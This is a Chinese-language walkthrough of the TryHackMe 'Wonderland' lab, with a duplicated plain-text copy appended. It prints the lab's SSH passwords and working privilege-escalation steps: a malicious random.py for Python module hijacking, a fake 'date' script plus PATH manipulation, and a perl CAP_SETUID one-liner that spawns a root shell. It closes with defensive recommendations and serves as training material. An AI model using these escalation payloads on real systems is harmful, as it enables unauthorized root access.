TryHackMe-Wonderland
字数 1267 2025-08-10 08:28:15

TryHackMe-Wonderland 渗透测试实战教学

1. 初始信息收集

1.1 端口扫描

首先对目标IP进行端口扫描,发现开放了以下服务:

  • 80端口:HTTP服务
  • 22端口:SSH服务

1.2 Web服务枚举

访问80端口,页面显示:

Follow the White Rabbit. 
"Curiouser and curiouser!" cried Alice (she was so much surprised, that for the moment she quite forgot how to speak good English)

2. 目录爆破与信息收集

2.1 目录枚举

使用目录爆破工具(如gobuster、dirbuster)发现以下路径:

/r/
/r/a/b/b/i/t/

2.2 关键信息获取

/r/a/b/b/i/t/目录的页面源码中发现SSH凭据:

alice:HowDothTheLittleCrocodileImproveHisShiningTail

3. 初始访问

3.1 SSH登录

使用获取的凭据登录SSH:

ssh alice@<target_ip>

3.2 初步枚举

登录后检查当前用户权限和文件系统:

  • 发现root.txt文件但无读取权限
  • 系统中有四个普通用户:alice、rabbit、hatter、root

4. 权限提升:alice → rabbit

4.1 检查sudo权限

sudo -l

输出显示alice用户可以rabbit身份执行当前目录下的Python文件。

4.2 分析Python文件

查看可疑Python文件内容,发现它导入了random模块:

import random

4.3 Python路径劫持

  1. 检查Python模块搜索路径:
python3 -c 'import sys;print(sys.path)'

发现优先搜索当前目录。

  1. 在当前目录创建恶意random.py:
import os
os.system('/bin/bash')
  1. 使用sudo执行目标Python文件:
sudo -u rabbit /usr/bin/python3.6 <python_file>

成功获取rabbit用户shell。

5. 权限提升:rabbit → hatter

5.1 发现可疑可执行文件

在rabbit用户目录下发现teaParty可执行文件。

5.2 逆向分析

  1. 将文件下载到本地分析(使用IDA等工具)
  2. 发现程序调用了date命令

5.3 环境变量劫持

  1. 在/tmp目录创建恶意date文件:
cd /tmp
echo '#!/bin/sh' > date
echo 'bash -i' >> date
chmod 777 date
  1. 修改PATH环境变量:
export PATH=/tmp:$PATH
  1. 执行teaParty程序:
cd /home/rabbit
./teaParty

成功获取hatter用户shell。

5.4 获取hatter用户凭据

发现hatter用户密码:

WhyIsARavenLikeAWritingDesk?

6. 权限提升:hatter → root

6.1 上传并运行linpeas.sh

使用linpeas.sh进行本地权限提升枚举。

6.2 发现perl的CAP_SETUID能力

linpeas检测到perl具有CAP_SETUID能力,可用于提权。

6.3 利用perl提权

执行以下命令获取root权限:

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

7. 获取flag

7.1 用户flag

位于用户目录下的user.txt文件。

7.2 root flag

位于/root/root.txt文件。

8. 总结与关键点

  1. 目录爆破:通过目录枚举发现隐藏路径和凭据
  2. Python模块劫持:利用Python的模块搜索路径特性进行权限提升
  3. 环境变量劫持:通过PATH变量修改实现命令注入
  4. 能力滥用:利用具有CAP_SETUID能力的perl进行最终提权
  5. 密码复用:发现hatter用户密码后可直接SSH登录

9. 防御建议

  1. 限制Python模块搜索路径
  2. 避免在sudo规则中使用相对路径
  3. 严格控制PATH环境变量
  4. 定期审计具有特殊能力的二进制文件
  5. 避免密码复用,使用密钥认证替代密码登录
TryHackMe-Wonderland 渗透测试实战教学 1. 初始信息收集 1.1 端口扫描 首先对目标IP进行端口扫描,发现开放了以下服务: 80端口:HTTP服务 22端口:SSH服务 1.2 Web服务枚举 访问80端口,页面显示: 2. 目录爆破与信息收集 2.1 目录枚举 使用目录爆破工具(如gobuster、dirbuster)发现以下路径: 2.2 关键信息获取 在 /r/a/b/b/i/t/ 目录的页面源码中发现SSH凭据: 3. 初始访问 3.1 SSH登录 使用获取的凭据登录SSH: 3.2 初步枚举 登录后检查当前用户权限和文件系统: 发现 root.txt 文件但无读取权限 系统中有四个普通用户:alice、rabbit、hatter、root 4. 权限提升:alice → rabbit 4.1 检查sudo权限 输出显示alice用户可以rabbit身份执行当前目录下的Python文件。 4.2 分析Python文件 查看可疑Python文件内容,发现它导入了random模块: 4.3 Python路径劫持 检查Python模块搜索路径: 发现优先搜索当前目录。 在当前目录创建恶意random.py: 使用sudo执行目标Python文件: 成功获取rabbit用户shell。 5. 权限提升:rabbit → hatter 5.1 发现可疑可执行文件 在rabbit用户目录下发现 teaParty 可执行文件。 5.2 逆向分析 将文件下载到本地分析(使用IDA等工具) 发现程序调用了 date 命令 5.3 环境变量劫持 在/tmp目录创建恶意date文件: 修改PATH环境变量: 执行teaParty程序: 成功获取hatter用户shell。 5.4 获取hatter用户凭据 发现hatter用户密码: 6. 权限提升:hatter → root 6.1 上传并运行linpeas.sh 使用linpeas.sh进行本地权限提升枚举。 6.2 发现perl的CAP_ SETUID能力 linpeas检测到perl具有CAP_ SETUID能力,可用于提权。 6.3 利用perl提权 执行以下命令获取root权限: 7. 获取flag 7.1 用户flag 位于用户目录下的 user.txt 文件。 7.2 root flag 位于 /root/root.txt 文件。 8. 总结与关键点 目录爆破 :通过目录枚举发现隐藏路径和凭据 Python模块劫持 :利用Python的模块搜索路径特性进行权限提升 环境变量劫持 :通过PATH变量修改实现命令注入 能力滥用 :利用具有CAP_ SETUID能力的perl进行最终提权 密码复用 :发现hatter用户密码后可直接SSH登录 9. 防御建议 限制Python模块搜索路径 避免在sudo规则中使用相对路径 严格控制PATH环境变量 定期审计具有特殊能力的二进制文件 避免密码复用,使用密钥认证替代密码登录